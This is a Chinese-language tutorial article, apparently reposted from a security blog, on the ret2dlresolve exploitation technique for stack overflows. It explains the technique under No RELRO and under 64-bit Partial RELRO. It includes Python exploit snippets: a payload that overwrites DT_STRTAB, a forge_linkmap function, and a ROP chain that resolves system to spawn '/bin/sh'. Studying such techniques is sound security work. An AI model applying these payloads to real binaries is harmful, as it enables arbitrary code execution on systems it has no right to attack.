当前位置：首页 > news >正文

当栈溢出遇上No RELRO：一个ret2dlresolve利用的‘捷径’与64位下的‘坑’

news 2026/6/5 6:44:18

深入解析ret2dlresolve攻击：从No RELRO到64位环境下的高级利用技巧

在二进制安全研究领域，ret2dlresolve攻击是一种无需泄露内存地址就能绕过ASLR保护的经典技术。本文将深入探讨这种攻击在不同编译选项下的实现差异，特别是No RELRO与Partial RELRO环境下的关键区别，以及32位与64位架构下的特殊考量。

1. ret2dlresolve攻击的核心原理

动态链接程序在首次调用外部函数时，会通过以下流程完成符号解析：

程序跳转到PLT表项
PLT表项跳转到GOT表中存储的地址（初始时指向PLT中的下一条指令）
将reloc_arg（重定位偏移）压栈
跳转到PLT[0]，执行_dl_runtime_resolve(link_map, reloc_arg)

关键数据结构：

.rel.plt：包含Elf32_Rel结构体数组，每个元素描述一个需要重定位的函数
.dynsym：包含Elf32_Sym结构体数组，存储符号信息
.dynstr：存储函数名字符串

攻击者通过伪造这些数据结构，可以控制_dl_fixup函数的解析过程，最终实现任意函数调用。

2. No RELRO环境下的简化利用

当程序编译时使用-z norelro选项时，.dynamic节区是可写的，这为攻击者提供了极大的便利：

// .dynamic节区结构示例 Elf32_Dyn dynamic_section[] = { {DT_STRTAB, 0x08048278}, // 字符串表地址 {DT_SYMTAB, 0x080481d8}, // 符号表地址 // 其他动态节区条目... };

No RELRO下的攻击步骤：

修改.dynamic节区中的DT_STRTAB指针，使其指向攻击者控制的缓冲区
在可控区域构造伪造的字符串表，将目标函数名（如"write"）替换为"system"
直接调用目标函数，触发解析过程

# No RELRO利用示例代码片段 fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00stdin\x00strlen\x00system\x00' payload = [ read_plt, # 调用read修改.dynamic pop_ret, # 返回地址 0, # 文件描述符 strtab_addr, # .dynamic中DT_STRTAB的地址 7, # 写入长度 fake_dynstr, # 伪造的字符串表内容 plt0, # 触发解析 reloc_arg, # 重定位参数 cmd_addr # system参数 ]

这种方法的优势在于只需一次内存写操作即可完成攻击，不需要复杂的栈迁移或多阶段ROP链。

3. 32位与64位架构的关键差异

3.1 数据结构差异

32位ELF重定位项：

typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;

64位ELF重定位项：

typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela;

64位架构下增加了r_addend字段，且符号索引的计算方式变为r_info >> 32。

3.2 Partial RELRO下的特殊挑战

在64位Partial RELRO环境下，直接移植32位方法会遇到两个关键问题：

st_other检查：_dl_fixup会验证符号的st_other字段
版本号验证：会访问vernum[ELFW(R_SYM)(reloc->r_info)]，可能导致非法内存访问

绕过方案：

伪造link_map结构，控制l_addr和符号的st_value
确保st_other不为0，跳过版本检查

def forge_linkmap(fake_addr, known_got, offset): # 构造伪造的link_map结构 payload = p64(offset & (2**64-1)) # l_addr payload += p64(0) # l_name payload += p64(fake_addr + 0x18) # DT_JMPREL payload += p64((fake_addr+0x30-offset) & (2**64-1)) # r_offset payload += p64(0x7) # r_info payload += p64(0) # r_addend payload += p64(0) # l_ns payload += p64(0) # payload += p64(known_got - 8) # DT_SYMTAB payload += b'/bin/sh\x00' # 命令字符串 payload = payload.ljust(0x68, b'A') payload += p64(fake_addr) # DT_STRTAB payload += p64(fake_addr + 0x38) # DT_SYMTAB payload = payload.ljust(0xf8, b'A') payload += p64(fake_addr + 8) # DT_JMPREL return payload

4. 高级利用技巧：伪造link_map结构

在64位Partial RELRO环境下，完整的攻击流程如下：

准备阶段：
- 计算目标函数与已知函数的偏移（如system与write）
- 找到可写的内存区域（如.bss段）
构造伪造结构：
- 伪造link_map结构，控制关键的l_info条目
- 设置l_addr为函数偏移量
- 将DT_SYMTAB指向已知函数的GOT表地址-8
执行攻击：
- 将伪造的结构写入内存
- 调用_dl_runtime_resolve，传入伪造的link_map和reloc_arg

# 64位Partial RELRO完整利用示例 l_addr = libc.sym['system'] - libc.sym['write'] fake_linkmap = forge_linkmap(bss_stage, write_got, l_addr) rop_chain = [ pop_rdi, 0, pop_rsi, bss_stage, 0, read_plt, # 写入伪造的link_map pop_rdi, bss_stage + 0x48, # /bin/sh地址 plt_load, # 触发解析 bss_stage, # 伪造的link_map 0 # reloc_arg ]

5. 防御措施与绕过思路

现代系统针对ret2dlresolve攻击采取了多种防护措施：

防护措施	影响	可能的绕过方式
FULL RELRO	禁用延迟绑定	需寻找其他漏洞
栈保护(Canary)	阻止栈溢出	结合信息泄露或堆漏洞
ASLR	增加预测难度	结合信息泄露
现代glibc检查	增加伪造难度	更精确的结构伪造